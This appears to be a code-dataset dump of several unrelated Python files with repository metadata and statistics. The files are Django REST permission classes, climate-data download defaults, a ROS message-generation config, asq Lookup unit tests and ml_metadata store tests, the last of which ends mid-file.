| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
133b8400322fb5ebde527d1792b1abac587984dd
| 999
|
py
|
Python
|
pomodorr/tools/permissions.py
|
kamil559/pomodorr
|
232e6e98ff3481561dd1235794b3960066713210
|
[
"MIT"
] | null | null | null |
pomodorr/tools/permissions.py
|
kamil559/pomodorr
|
232e6e98ff3481561dd1235794b3960066713210
|
[
"MIT"
] | 15
|
2020-04-11T18:30:57.000Z
|
2020-07-05T09:37:43.000Z
|
pomodorr/tools/permissions.py
|
kamil559/pomodorr
|
232e6e98ff3481561dd1235794b3960066713210
|
[
"MIT"
] | null | null | null |
from django.utils.translation import gettext_lazy as _
from rest_framework import permissions
from rest_framework.permissions import IsAuthenticated
class IsObjectOwner(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
return obj.user == request.user
class IsNotAuthenticated(IsAuthenticated):
message = _("Only unauthenticated users are allowed to perform this action.")
def has_permission(self, request, view):
return not request.user.is_authenticated
class IsTaskOwner(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
return obj.project.user == request.user
class IsSubTaskOwner(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
return obj.task.project.user == request.user
class IsDateFrameOwner(permissions.BasePermission):
def has_object_permission(self, request, view, obj):
return obj.task.project.user == request.user
| 32.225806
| 81
| 0.766767
| 117
| 999
| 6.418803
| 0.376068
| 0.039947
| 0.139814
| 0.166445
| 0.505992
| 0.463382
| 0.463382
| 0.463382
| 0.463382
| 0.463382
| 0
| 0
| 0.153153
| 999
| 30
| 82
| 33.3
| 0.887707
| 0
| 0
| 0.315789
| 0
| 0
| 0.062062
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.263158
| false
| 0
| 0.157895
| 0.263158
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
13424fe5b1e03ed984ebdfdd56f603a354581366
| 70
|
py
|
Python
|
data_loader/__init__.py
|
steff456/MLBase
|
65324bdc4174ebd665b8b86cfbb79e92c00ca90e
|
[
"MIT"
] | null | null | null |
data_loader/__init__.py
|
steff456/MLBase
|
65324bdc4174ebd665b8b86cfbb79e92c00ca90e
|
[
"MIT"
] | null | null | null |
data_loader/__init__.py
|
steff456/MLBase
|
65324bdc4174ebd665b8b86cfbb79e92c00ca90e
|
[
"MIT"
] | null | null | null |
from data_loader.example_loader import ExampleDataset
ExampleDataset
| 17.5
| 53
| 0.9
| 8
| 70
| 7.625
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085714
| 70
| 3
| 54
| 23.333333
| 0.953125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
1359e889733ccc75cdfc71bfb68f87a10c6fe5e5
| 2,650
|
py
|
Python
|
code/datarequests/defaults.py
|
ucyo/ml-ecmwf
|
c2c622e2b8300f6e8ad10e71625013d65dc19aeb
|
[
"MIT"
] | null | null | null |
code/datarequests/defaults.py
|
ucyo/ml-ecmwf
|
c2c622e2b8300f6e8ad10e71625013d65dc19aeb
|
[
"MIT"
] | null | null | null |
code/datarequests/defaults.py
|
ucyo/ml-ecmwf
|
c2c622e2b8300f6e8ad10e71625013d65dc19aeb
|
[
"MIT"
] | null | null | null |
# -- coding: utf-8 --
"""Collection of defaults assumed by the download script.
The defaults are all the allowed values for each of the variables.
More details are available are Copernicus Climate Data Store [0].
[0] https://cds.climate.copernicus.eu/cdsapp
"""
def time():
return [
"00:00",
"01:00",
"02:00",
"03:00",
"04:00",
"05:00",
"06:00",
"07:00",
"08:00",
"09:00",
"10:00",
"11:00",
"12:00",
"13:00",
"14:00",
"15:00",
"16:00",
"17:00",
"18:00",
"19:00",
"20:00",
"21:00",
"22:00",
"23:00",
]
def pl():
return [
"1",
"2",
"3",
"5",
"7",
"10",
"20",
"30",
"50",
"70",
"100",
"125",
"150",
"175",
"200",
"225",
"250",
"300",
"350",
"400",
"450",
"500",
"550",
"600",
"650",
"700",
"750",
"775",
"800",
"825",
"850",
"875",
"900",
"925",
"950",
"975",
"1000",
]
def year():
return [
"1979",
"1980",
"1981",
"1982",
"1983",
"1984",
"1985",
"1986",
"1987",
"1988",
"1989",
"1990",
"1991",
"1992",
"1993",
"1994",
"1995",
"1996",
"1997",
"1998",
"1999",
"2000",
"2001",
"2002",
"2003",
"2004",
"2005",
"2006",
"2007",
"2008",
"2009",
"2010",
"2011",
"2012",
"2013",
"2014",
"2015",
"2016",
"2017",
"2018",
"2019",
"2020",
]
def month():
return [
"01",
"02",
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"12",
]
def day():
return [
"01",
"02",
"03",
"04",
"05",
"06",
"07",
"08",
"09",
"10",
"11",
"12",
"13",
"14",
"15",
"16",
"17",
"18",
"19",
"20",
"21",
"22",
"23",
"24",
"25",
"26",
"27",
"28",
"29",
"30",
"31",
]
| 14.722222
| 66
| 0.266792
| 225
| 2,650
| 3.142222
| 0.644444
| 0.022631
| 0.028289
| 0.033946
| 0.084866
| 0.084866
| 0.084866
| 0.084866
| 0.084866
| 0.084866
| 0
| 0.36855
| 0.539245
| 2,650
| 179
| 67
| 14.804469
| 0.210483
| 0.096226
| 0
| 0.21118
| 0
| 0
| 0.197236
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.031056
| true
| 0
| 0
| 0.031056
| 0.062112
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
1383b66f96c1ba2ce4ba0e8ab700a109664dab9b
| 158
|
py
|
Python
|
docs/examples/dns/pointdns/instantiate_driver.py
|
dupontz/libcloud
|
419c69441ea10e7bbf37319e5e8d02e82e7e6b40
|
[
"Apache-2.0"
] | 1,435
|
2015-01-07T05:32:51.000Z
|
2022-03-25T19:39:34.000Z
|
docs/examples/dns/pointdns/instantiate_driver.py
|
dupontz/libcloud
|
419c69441ea10e7bbf37319e5e8d02e82e7e6b40
|
[
"Apache-2.0"
] | 1,158
|
2015-01-04T18:08:42.000Z
|
2022-03-24T14:34:57.000Z
|
docs/examples/dns/pointdns/instantiate_driver.py
|
dupontz/libcloud
|
419c69441ea10e7bbf37319e5e8d02e82e7e6b40
|
[
"Apache-2.0"
] | 832
|
2015-01-05T09:20:21.000Z
|
2022-03-24T19:22:19.000Z
|
from libcloud.dns.types import Provider
from libcloud.dns.providers import get_driver
cls = get_driver(Provider.POINTDNS)
driver = cls('username', 'apikey')
| 26.333333
| 45
| 0.797468
| 22
| 158
| 5.636364
| 0.590909
| 0.193548
| 0.241935
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101266
| 158
| 5
| 46
| 31.6
| 0.873239
| 0
| 0
| 0
| 0
| 0
| 0.088608
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
138d8195ff2531bb9561f24216ae1e461a942aac
| 934
|
py
|
Python
|
build/driver/joystick/joystick_drivers/wiimote/cmake/wiimote-genmsg-context.py
|
lty1994/atuolabor
|
42b8c52eac93a2e48fbd64275c7dd426a988000c
|
[
"Apache-2.0"
] | null | null | null |
build/driver/joystick/joystick_drivers/wiimote/cmake/wiimote-genmsg-context.py
|
lty1994/atuolabor
|
42b8c52eac93a2e48fbd64275c7dd426a988000c
|
[
"Apache-2.0"
] | null | null | null |
build/driver/joystick/joystick_drivers/wiimote/cmake/wiimote-genmsg-context.py
|
lty1994/atuolabor
|
42b8c52eac93a2e48fbd64275c7dd426a988000c
|
[
"Apache-2.0"
] | null | null | null |
# generated from genmsg/cmake/pkg-genmsg.context.in
messages_str = "/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/IrSourceInfo.msg;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/State.msg;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg/TimedSwitch.msg"
services_str = ""
pkg_name = "wiimote"
dependencies_str = "geometry_msgs;std_msgs;sensor_msgs"
langs = "gencpp;geneus;genlisp;gennodejs;genpy"
dep_include_paths_str = "wiimote;/home/lty/catkin_ws/src/driver/joystick/joystick_drivers/wiimote/msg;geometry_msgs;/opt/ros/kinetic/share/geometry_msgs/cmake/../msg;std_msgs;/opt/ros/kinetic/share/std_msgs/cmake/../msg;sensor_msgs;/opt/ros/kinetic/share/sensor_msgs/cmake/../msg"
PYTHON_EXECUTABLE = "/usr/bin/python"
package_has_static_sources = 'TRUE' == 'TRUE'
genmsg_check_deps_script = "/opt/ros/kinetic/share/genmsg/cmake/../../../lib/genmsg/genmsg_check_deps.py"
| 77.833333
| 280
| 0.807281
| 141
| 934
| 5.113475
| 0.397163
| 0.038835
| 0.072122
| 0.083218
| 0.416089
| 0.324549
| 0.324549
| 0.324549
| 0.324549
| 0.324549
| 0
| 0
| 0.036403
| 934
| 11
| 281
| 84.909091
| 0.801111
| 0.052463
| 0
| 0
| 1
| 0.222222
| 0.770102
| 0.736127
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
13a422cd607d4cde5ba0582e2dd0ba27e40e5443
| 9,033
|
py
|
Python
|
asq/test/test_lookup.py
|
SlamJam/asq
|
e6e49a5ace421cb4f84f0bded5dbe5a2108b0cce
|
[
"MIT"
] | 3
|
2015-03-13T23:02:29.000Z
|
2015-07-19T15:29:23.000Z
|
asq/test/test_lookup.py
|
SlamJam/asq
|
e6e49a5ace421cb4f84f0bded5dbe5a2108b0cce
|
[
"MIT"
] | null | null | null |
asq/test/test_lookup.py
|
SlamJam/asq
|
e6e49a5ace421cb4f84f0bded5dbe5a2108b0cce
|
[
"MIT"
] | 1
|
2020-12-19T07:57:20.000Z
|
2020-12-19T07:57:20.000Z
|
import unittest
from asq.queryables import Lookup, Grouping
__author__ = "Robert Smallshire"
class TestLookup(unittest.TestCase):
def test_lookup_create(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
def test_lookup_create_invalid(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c',),
('b', 'blueberry'),
('c',),
('c', 'cantaloupe') ]
self.assertRaises(ValueError, lambda: Lookup(k_v))
def test_lookup_create_empty(self):
k_v = []
lookup = Lookup(k_v)
def test_lookup_len(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
self.assertEqual(len(lookup), 3)
def test_lookup_in_positive(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
self.assertTrue('a' in lookup)
def test_lookup_in_positive(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
self.assertFalse('z' in lookup)
def test_lookup_repr(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
self.assertEqual(repr(lookup), "Lookup([('a', 'artichoke'), ('b', 'blackberry'), ('b', 'blueberry'), ('c', 'clementine'), ('c', 'cranberry'), ('c', 'cantaloupe')])")
def test_lookup_getitem_positive(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
g_a = lookup['a']
self.assertEqual(g_a.key, 'a')
self.assertTrue('artichoke' in g_a)
g_b = lookup['b']
self.assertEqual(g_b.key, 'b')
self.assertTrue('blackberry' in g_b)
self.assertTrue('blueberry' in g_b)
g_c = lookup['c']
self.assertEqual(g_c.key, 'c')
self.assertTrue('clementine' in g_c)
self.assertTrue('cranberry' in g_c)
self.assertTrue('cantaloupe' in g_c)
def test_lookup_getitem_negative(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
g_d = lookup['d']
self.assertEqual(g_d.key, 'd')
self.assertEqual(len(g_d), 0)
g_b = lookup['b']
self.assertEqual(g_b.key, 'b')
self.assertTrue('blackberry' in g_b)
self.assertTrue('blueberry' in g_b)
g_c = lookup['c']
self.assertEqual(g_c.key, 'c')
self.assertTrue('clementine' in g_c)
self.assertTrue('cranberry' in g_c)
self.assertTrue('cantaloupe' in g_c)
def test_lookup_apply_result_selector_default(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
result = lookup.apply_result_selector().to_list()
# Rely on the fact that the Lookup is ordered by first key insertion
self.assertEqual(result[0], lookup['a'])
self.assertEqual(result[1], lookup['b'])
self.assertEqual(result[2], lookup['c'])
def test_lookup_apply_result_selector(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
result = lookup.apply_result_selector(lambda key, seq: key).to_list()
self.assertEqual(len(result), 3)
self.assertTrue('a' in result)
self.assertTrue('b' in result)
self.assertTrue('c' in result)
def test_lookup_is_ordered(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
result = lookup.apply_result_selector().to_list()
# Rely on the fact that the Lookup is ordered by first key insertion
self.assertEqual(list(result[0]), ['artichoke'])
self.assertEqual(list(result[1]), ['blackberry', 'blueberry'])
self.assertEqual(list(result[2]), ['clementine', 'cranberry', 'cantaloupe'])
def test_lookup_iterable(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
lookup = Lookup(k_v)
count = 0
for group in lookup:
count += 1
self.assertTrue(isinstance(group, Grouping))
self.assertEqual(count, 3)
# Check that we can iterate again
count = 0
for group in lookup:
count += 1
self.assertTrue(isinstance(group, Grouping))
self.assertEqual(count, 3)
def test_lookup_as_queryable(self):
k_v = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
a_group = Lookup(k_v).where(lambda g: g.key == 'a').to_list()
self.assertEqual(len(a_group), 1)
self.assertTrue(isinstance(a_group[0], Grouping))
self.assertEqual(a_group[0].key, 'a')
def test_lookup_equality_positive(self):
kv1 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
group1 = Lookup(kv1)
kv2 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
group2 = Lookup(kv2)
self.assertTrue(group1 == group2)
def test_lookup_equality_negative(self):
kv1 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
group1 = Lookup(kv1)
kv2 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('s', 'star fruit') ]
group2 = Lookup(kv2)
self.assertFalse(group1 == group2)
def test_lookup_inequality_positive(self):
kv1 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
group1 = Lookup(kv1)
kv2 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('s', 'star fruit') ]
group2 = Lookup(kv2)
self.assertTrue(group1 != group2)
def test_lookup_inequality_negative(self):
kv1 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
group1 = Lookup(kv1)
kv2 = [ ('a', 'artichoke'),
('b', 'blackberry'),
('c', 'clementine'),
('b', 'blueberry'),
('c', 'cranberry'),
('c', 'cantaloupe') ]
group2 = Lookup(kv2)
self.assertFalse(group1 != group2)
| 32.031915
| 173
| 0.453227
| 852
| 9,033
| 4.660798
| 0.10446
| 0.014102
| 0.060942
| 0.116343
| 0.755981
| 0.73659
| 0.72828
| 0.685218
| 0.678167
| 0.678167
| 0
| 0.008789
| 0.370198
| 9,033
| 281
| 174
| 32.145907
| 0.689225
| 0.018266
| 0
| 0.777293
| 0
| 0.004367
| 0.184567
| 0
| 0
| 0
| 0
| 0
| 0.19214
| 1
| 0.078603
| false
| 0
| 0.008734
| 0
| 0.091703
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
13ac3cf90764a7fd2e4e384a28933ead3b0d5699
| 99
|
py
|
Python
|
qnt/examples/__init__.py
|
quantiacs/toolbox
|
f40f3c9d3c4a886d9fe4739c395c4e21aba9aef0
|
[
"MIT"
] | 21
|
2021-03-07T01:10:40.000Z
|
2022-03-10T09:15:49.000Z
|
qnt/examples/__init__.py
|
nadhem-zmandar/toolbox
|
2aa038af0e2c3cb027b8b93a2d7331815c5cad07
|
[
"MIT"
] | 1
|
2021-03-29T20:25:58.000Z
|
2021-03-31T11:32:16.000Z
|
qnt/examples/__init__.py
|
nadhem-zmandar/toolbox
|
2aa038af0e2c3cb027b8b93a2d7331815c5cad07
|
[
"MIT"
] | 8
|
2021-03-24T16:25:03.000Z
|
2022-02-10T19:58:47.000Z
|
"""
This package contains the examples which demonstrates the main features of the qnt library.
"""
| 33
| 91
| 0.777778
| 14
| 99
| 5.5
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151515
| 99
| 3
| 92
| 33
| 0.916667
| 0.919192
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
13be87a02e1395934098d9fcaed013258c207553
| 21,931
|
py
|
Python
|
ml_metadata/metadata_store/metadata_store_test.py
|
dreamryx/ml-metadata
|
d2f5faa480272091ddbaa6b39b2bad23ed0cf76e
|
[
"Apache-2.0"
] | null | null | null |
ml_metadata/metadata_store/metadata_store_test.py
|
dreamryx/ml-metadata
|
d2f5faa480272091ddbaa6b39b2bad23ed0cf76e
|
[
"Apache-2.0"
] | null | null | null |
ml_metadata/metadata_store/metadata_store_test.py
|
dreamryx/ml-metadata
|
d2f5faa480272091ddbaa6b39b2bad23ed0cf76e
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tests for ml_metadata.metadata_store.metadata_store."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from absl.testing import absltest
from ml_metadata.metadata_store import metadata_store
from ml_metadata.proto import metadata_store_pb2
from tensorflow.python.framework import errors
def _get_metadata_store():
connection_config = metadata_store_pb2.ConnectionConfig()
connection_config.sqlite.SetInParent()
return metadata_store.MetadataStore(connection_config)
def _create_example_artifact_type():
artifact_type = metadata_store_pb2.ArtifactType()
artifact_type.name = "test_type_1"
artifact_type.properties["foo"] = metadata_store_pb2.INT
artifact_type.properties["bar"] = metadata_store_pb2.STRING
artifact_type.properties["baz"] = metadata_store_pb2.DOUBLE
return artifact_type
def _create_example_artifact_type_2():
artifact_type = metadata_store_pb2.ArtifactType()
artifact_type.name = "test_type_2"
artifact_type.properties["foo"] = metadata_store_pb2.INT
artifact_type.properties["bar"] = metadata_store_pb2.STRING
artifact_type.properties["baz"] = metadata_store_pb2.DOUBLE
return artifact_type
def _create_example_execution_type():
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "test_type_1"
execution_type.properties["foo"] = metadata_store_pb2.INT
execution_type.properties["bar"] = metadata_store_pb2.STRING
return execution_type
def _create_example_execution_type_2():
execution_type = metadata_store_pb2.ExecutionType()
execution_type.name = "test_type_2"
execution_type.properties["foo"] = metadata_store_pb2.INT
execution_type.properties["bar"] = metadata_store_pb2.STRING
return execution_type
class MetadataStoreTest(absltest.TestCase):
def test_unset_connection_config(self):
connection_config = metadata_store_pb2.ConnectionConfig()
for _ in range(100):
# It will throw a SystemError or RuntimeError, depending upon the version
# of Python.
try:
metadata_store.MetadataStore(connection_config)
raise ValueError("Should have already thrown an exception.")
except RuntimeError:
# Raises a RuntimeError in Python 2.7.
pass
except SystemError:
# Raises a SystemError in Python 3.6.
pass
def test_put_artifact_type_get_artifact_type(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
artifact_type_result = store.get_artifact_type("test_type_1")
self.assertEqual(artifact_type_result.id, type_id)
self.assertEqual(artifact_type_result.name, "test_type_1")
self.assertEqual(artifact_type_result.properties["foo"],
metadata_store_pb2.INT)
self.assertEqual(artifact_type_result.properties["bar"],
metadata_store_pb2.STRING)
self.assertEqual(artifact_type.properties["baz"], metadata_store_pb2.DOUBLE)
def test_put_artifact_type_with_update_get_artifact_type(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
artifact_type.properties["new_property"] = metadata_store_pb2.INT
store.put_artifact_type(artifact_type, can_add_fields=True)
artifact_type_result = store.get_artifact_type("test_type_1")
self.assertEqual(artifact_type_result.id, type_id)
self.assertEqual(artifact_type_result.name, "test_type_1")
self.assertEqual(artifact_type_result.properties["foo"],
metadata_store_pb2.INT)
self.assertEqual(artifact_type_result.properties["bar"],
metadata_store_pb2.STRING)
self.assertEqual(artifact_type.properties["baz"], metadata_store_pb2.DOUBLE)
self.assertEqual(artifact_type.properties["new_property"],
metadata_store_pb2.INT)
def test_get_artifact_types(self):
store = _get_metadata_store()
artifact_type_1 = _create_example_artifact_type()
artifact_type_2 = _create_example_artifact_type_2()
type_id_1 = store.put_artifact_type(artifact_type_1)
artifact_type_1.id = type_id_1
type_id_2 = store.put_artifact_type(artifact_type_2)
artifact_type_2.id = type_id_2
got_types = store.get_artifact_types()
got_types.sort(key=lambda x: x.id)
self.assertListEqual([artifact_type_1, artifact_type_2], got_types)
def test_get_execution_types(self):
store = _get_metadata_store()
execution_type_1 = _create_example_execution_type()
execution_type_2 = _create_example_execution_type_2()
type_id_1 = store.put_execution_type(execution_type_1)
execution_type_1.id = type_id_1
type_id_2 = store.put_execution_type(execution_type_2)
execution_type_2.id = type_id_2
got_types = store.get_execution_types()
got_types.sort(key=lambda x: x.id)
self.assertListEqual([execution_type_1, execution_type_2], got_types)
def test_put_artifacts_get_artifacts_by_id(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
artifact = metadata_store_pb2.Artifact()
artifact.type_id = type_id
artifact.properties["foo"].int_value = 3
artifact.properties["bar"].string_value = "Hello"
[artifact_id] = store.put_artifacts([artifact])
[artifact_result] = store.get_artifacts_by_id([artifact_id])
self.assertEqual(artifact_result.properties["bar"].string_value, "Hello")
self.assertEqual(artifact_result.properties["foo"].int_value, 3)
def test_put_artifacts_get_artifacts(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
artifact_0 = metadata_store_pb2.Artifact()
artifact_0.type_id = type_id
artifact_0.properties["foo"].int_value = 3
artifact_0.properties["bar"].string_value = "Hello"
artifact_1 = metadata_store_pb2.Artifact()
artifact_1.type_id = type_id
[artifact_id_0,
artifact_id_1] = store.put_artifacts([artifact_0, artifact_1])
artifact_result = store.get_artifacts()
if artifact_result[0].id == artifact_id_0:
[artifact_result_0, artifact_result_1] = artifact_result
else:
[artifact_result_1, artifact_result_0] = artifact_result
self.assertEqual(artifact_result_0.id, artifact_id_0)
self.assertEqual(artifact_result_0.properties["bar"].string_value, "Hello")
self.assertEqual(artifact_result_0.properties["foo"].int_value, 3)
self.assertEqual(artifact_result_1.id, artifact_id_1)
def test_put_artifacts_get_artifacts_by_type(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
artifact_type_2 = _create_example_artifact_type_2()
type_id_2 = store.put_artifact_type(artifact_type_2)
artifact_0 = metadata_store_pb2.Artifact()
artifact_0.type_id = type_id
artifact_0.properties["foo"].int_value = 3
artifact_0.properties["bar"].string_value = "Hello"
artifact_1 = metadata_store_pb2.Artifact()
artifact_1.type_id = type_id_2
[_, artifact_id_1] = store.put_artifacts([artifact_0, artifact_1])
artifact_result = store.get_artifacts_by_type(artifact_type_2.name)
self.assertLen(artifact_result, 1)
self.assertEqual(artifact_result[0].id, artifact_id_1)
def test_put_artifacts_get_artifacts_by_uri(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
want_artifact = metadata_store_pb2.Artifact()
want_artifact.type_id = type_id
want_artifact.uri = "test_uri"
other_artifact = metadata_store_pb2.Artifact()
other_artifact.uri = "other_uri"
other_artifact.type_id = type_id
[want_artifact_id, _] = store.put_artifacts([want_artifact, other_artifact])
artifact_result = store.get_artifacts_by_uri(want_artifact.uri)
self.assertLen(artifact_result, 1)
self.assertEqual(artifact_result[0].id, want_artifact_id)
def test_put_executions_get_executions_by_type(self):
store = _get_metadata_store()
execution_type = _create_example_execution_type()
type_id = store.put_execution_type(execution_type)
execution_type_2 = _create_example_execution_type_2()
type_id_2 = store.put_execution_type(execution_type_2)
execution_0 = metadata_store_pb2.Execution()
execution_0.type_id = type_id
execution_0.properties["foo"].int_value = 3
execution_0.properties["bar"].string_value = "Hello"
execution_1 = metadata_store_pb2.Execution()
execution_1.type_id = type_id_2
[_, execution_id_1] = store.put_executions([execution_0, execution_1])
execution_result = store.get_executions_by_type(execution_type_2.name)
self.assertLen(execution_result, 1)
self.assertEqual(execution_result[0].id, execution_id_1)
def test_update_artifact_get_artifact(self):
store = _get_metadata_store()
artifact_type = _create_example_artifact_type()
type_id = store.put_artifact_type(artifact_type)
artifact = metadata_store_pb2.Artifact()
artifact.type_id = type_id
artifact.properties["bar"].string_value = "Hello"
[artifact_id] = store.put_artifacts([artifact])
artifact_2 = metadata_store_pb2.Artifact()
artifact_2.CopyFrom(artifact)
artifact_2.id = artifact_id
artifact_2.properties["foo"].int_value = artifact_id
artifact_2.properties["bar"].string_value = "Goodbye"
[artifact_id_2] = store.put_artifacts([artifact_2])
self.assertEqual(artifact_id, artifact_id_2)
[artifact_result] = store.get_artifacts_by_id([artifact_id])
self.assertEqual(artifact_result.properties["bar"].string_value, "Goodbye")
self.assertEqual(artifact_result.properties["foo"].int_value, artifact_id)
